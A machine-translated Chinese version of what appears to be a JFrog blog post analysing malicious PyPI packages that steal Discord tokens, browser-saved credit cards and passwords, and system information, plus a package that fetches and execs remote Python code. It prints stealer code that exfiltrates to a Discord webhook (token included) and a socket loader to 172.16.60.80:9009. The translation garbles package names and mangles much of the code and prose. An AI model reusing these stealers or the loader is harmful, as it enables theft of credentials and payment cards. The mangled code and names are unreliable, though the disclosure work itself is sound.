JFrog检测恶意PyPI包窃取信用卡和注入代码

软件包存储库正在成为一个流行的目标供应链攻击.最近,有关于恶意软件攻击流行存储库(如npm、PyPI和RubyGems)的新闻。开发人员盲目地信任存储库,并从这些源安装包,以为它们是安全的。有时允许将恶意软件包上传到包存储库,这使恶意行为者有机会使用存储库分发病毒,并成功地对开发人员和CI/CD机器发起攻击。
作为JFrog安全研究团队(以前是Vdoo)正在进行的自动识别恶意包的工作的一部分,我们现在报告了几个托管在PyPI上的Python包是恶意的。我们已经通知PyPI存在恶意软件包,并立即删除了它们。根据来自pepy.tech在美国,我们估计恶意软件包被下载了约3万次。我们目前还没有关于使用这些恶意软件包所造成的实际影响的数据。
在这篇博文中,我们将分享这些软件包的技术分析及其影响。
报告包
| 包名 | 维护人员 | 有效载荷 |
|---|---|---|
| 贵族阶级 | xin1111 | 不和代币窃贼,信用卡窃贼(基于windows的) |
| genesisbot | xin1111 | 和贵族一样 |
| aryi | xin1111 | 和贵族一样 |
| 遭受 | 遭受 | 和贵族一样,混淆了PyArmor |
| noblesse2 | 遭受 | 和贵族一样 |
| noblessev2 | 遭受 | 和贵族一样 |
| pytagora | leonora123 | 远程代码注入 |
| pytagora2 | leonora123 | 和pytagora一样 |
技术分析
模糊技术
以上所有软件包(以及大多数新手Python恶意软件)都使用了简单的混淆技术:
- 用一些简单的编码器编码Python文本(例如Base64)
- 将解码后的文本计算为代码,使用eval
例如,noblesse2恶意软件的主要代码如下所示:
import base64, codecs magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS…' love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M…' god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg…' destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS…“快乐= ' \ x72 \ x6f \ x74 \ x31 \ x33 '信任= eval(‘\ x6d \ x61 \ x67 \ x69 \ x63”)+ eval(‘\ x63 \ x6f \ x64 \ x65 \ x63 \ \表示就是x73 \ x2e x64…”)eval(编译(base64.b64decode (eval(‘\ x74 \ x72 \ x75 \ x73 \ x74”)),”,“执行”))
(为简洁起见,数据被截短)
这种混淆可以欺骗一个简单的静态分析工具,但并不妨碍更彻底的分析,而且实际上会引起一个危险信号,促使许多研究人员更仔细地研究这段代码。
在混淆的代码中使用的特定字符串(北欧金属灵感?)帮助我们意识到恶意软件只是用公共工具处理的python-obfuscator.
aryi和遭受的包被混淆使用PyArmor,这表明恶意软件开发人员正在试验不同的混淆方法。
noblesse有效载荷#1 -窃取Discord认证令牌
的第一个有效载荷贵族阶级恶意软件“家族”正在窃取Discord认证令牌。身份验证令牌允许攻击者模拟最初持有令牌的用户(类似于HTTP会话cookie)。
偷代币的有效载荷是基于臭名昭著的dTGPG(不和令牌抓取有效载荷生成器)有效载荷。这是一个从未公开发布的生成器工具,但有效负载(个性化的令牌抓取器)是公开共享的,一些示例也被上传到Github.
Discord认证令牌窃取代码非常简单,它迭代一组硬编码的路径:
local = os.getenv('LOCALAPPDATA')漫游= os.getenv('APPDATA')路径= {'Discord':漫游+ '\\Discord', 'Discord金丝雀':漫游+ '\\Discord', 'Discord PTB':漫游+ '\\谷歌\\Chrome\\用户数据\\默认','Opera':漫游+ '\\Opera软件\\Opera稳定','Brave':本地+ '\\BraveSoftware\\Brave- browser \\用户数据\\默认','Yandex':本地+ '\\Yandex\\YandexBrowser\\用户数据\\默认'}
然后简单地读取所有内容. log而且ldb这些路径下的文件(特别是在LocalSotrage \ leveldb)并寻找Discord认证令牌,看起来像这样:
- AhDDanSZFkkf2j2J8co2d5Tn.G2rsTL.ZP2E7xR3AiapA8oNmgyqsao0Fj1(单因素令牌- 24字符+ '。' + 6字符+ '。' + 27个字符)
- mfa.zmDGLWt6FVZVIjc5Xo25luPYVTRWqPryLQUVOjN0kIzZ5uzWQ1fbHyiaTNj0sQ3j4cLSB7XibGzPaUHEc3mO(多因素令牌- " mfa。+ 84个字符)
结果通过Webhook(一种将自动消息和数据更新发送到私有服务器上的文本通道的简单方法)上传到Discord以下参数:
{"type": 1, "id": "807327703082074143", "name": "Captain Hook", "avatar": null, "channel_id": "725001140324008047", "guild_id": "720931953251057725", "application_id": null, "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}
noblesse有效载荷#2 -窃取自动完成敏感数据(信用卡和密码)
的第二个有效载荷贵族阶级家庭是一个“自动补全”的信息窃取者。所有现代浏览器都支持为用户保存密码和信用卡信息:

这非常方便,但缺点是这些信息可能会被访问本地机器的恶意软件泄露。
在这种情况下,恶意软件试图从Chrome中窃取信用卡信息:
Def cs(): master_key = master() login_db = os。environ['USERPROFILE'] + os。sep + \ r' appdata \Local\谷歌\Chrome\User Data\default\Web Data' shutil。copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.游标()try:游标。execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw(encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook。send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY: " + str(expire_mon) + "\nEXPIRY: " + str(expire_year) + "\n" + "*" * 10 + "\n")
此外,从Edge窃取保存的密码和信用卡信息(为简洁起见,截短了):
Login_db = os。在viron['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data' ... cursor.execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key) if username != "" or decrypted_password != "": hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")
信息被上传到前面提到的同一个Webhook。
noblesse有效载荷#3 -系统信息收集
的第三个有效载荷贵族阶级家庭收集有关受害者系统的以下信息,并将其上传到上述Webhook:
- IP地址
- 计算机名
- 用户名
- Windows许可证密钥信息(wmic path software arelicensingservice get OA3xOriginalProductKey)
- Windows版本(wmic os得到标题)
- 截图图片(通过使用枕头的ImageGrab)
pytagora—远程代码注入
我们研究的第二个恶意软件家族要简单得多。
在“让pytagora定理变得简单”(原文如此)的有趣伪装下,这是包的完整代码:
import math import base64,sys def hello(): exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs…'))def斜边(a,b): hello() c = math.sqrt(math.pow(a,2) + math.pow(b,2)) return round(c,2) def other(c,x): y = math.sqrt(math.pow(c,2)-math.pow(x,2)) return round(y,2)
这段被混淆的代码被解码成下面的代码片段:
import socket,struct,time s=socket.socket(2,socket.socket.socket. sock_stream) s.t connect(('172.16.60.80',9009)) l=struct.unpack('>I', s.c recv(4))[0] print (l) d= s.c recv(l) print (d) while len(d)>!1: d+=s.recv(l-len(d)) print (d) exec(d,{'s':s})
简而言之,恶意软件试图连接到TCP端口9009上的私有IP地址,然后执行从套接字中读取的任何Python代码。
你该怎么做?
给受影响开发者的建议
如果在检查PyPI依赖项之后,您已经确定了它贵族阶级(或任何其克隆)已在本地安装,我们建议:
- 检查哪些密码保存在其中边缘,并在每个网站(以及任何重复使用这些密码的网站)更改这些被泄露的密码。这种检查可以通过打开来进行边缘然后导航到优势:/ /设置/密码。保存的密码(可能被泄露)的完整列表可以在下面看到保存的密码。
- 检查哪些信用卡被存进去了铬考虑取消这些信用卡。这种检查可以通过打开来进行铬并导航到chrome://设置/支付。保存的信用卡的完整列表(有可能被泄露)可以在下面看到付款方法。
如果你已经知道了pytagora(或其任何克隆)已经在您的机器上本地安装,虽然您不太可能感染了恶意软件,但我们建议您遵循通常的恶意软件检查步骤,例如使用已安装的防病毒软件运行全面扫描。
总结
正如我们在我们的之前的PyPI研究在美国,公共软件库缺乏节制和自动化的安全控制,这使得即使是缺乏经验的攻击者也可以利用它们作为传播恶意软件的平台,无论是通过排字、依赖混淆还是简单的社会工程攻击。
本研究中分析的几乎所有代码片段都基于已知的公共工具,只有少数参数发生了变化。这种混淆也是基于公众的混淆。
我们希望看到更多这样的“弗兰肯斯坦”恶意软件包缝合从不同的攻击工具(与变化的泄露参数)。我们将继续监视公共包存储库以清除此类实例。
最后,我们要感谢Dustin Ingram (@di_codes),以迅速回应及删除恶意程式包。
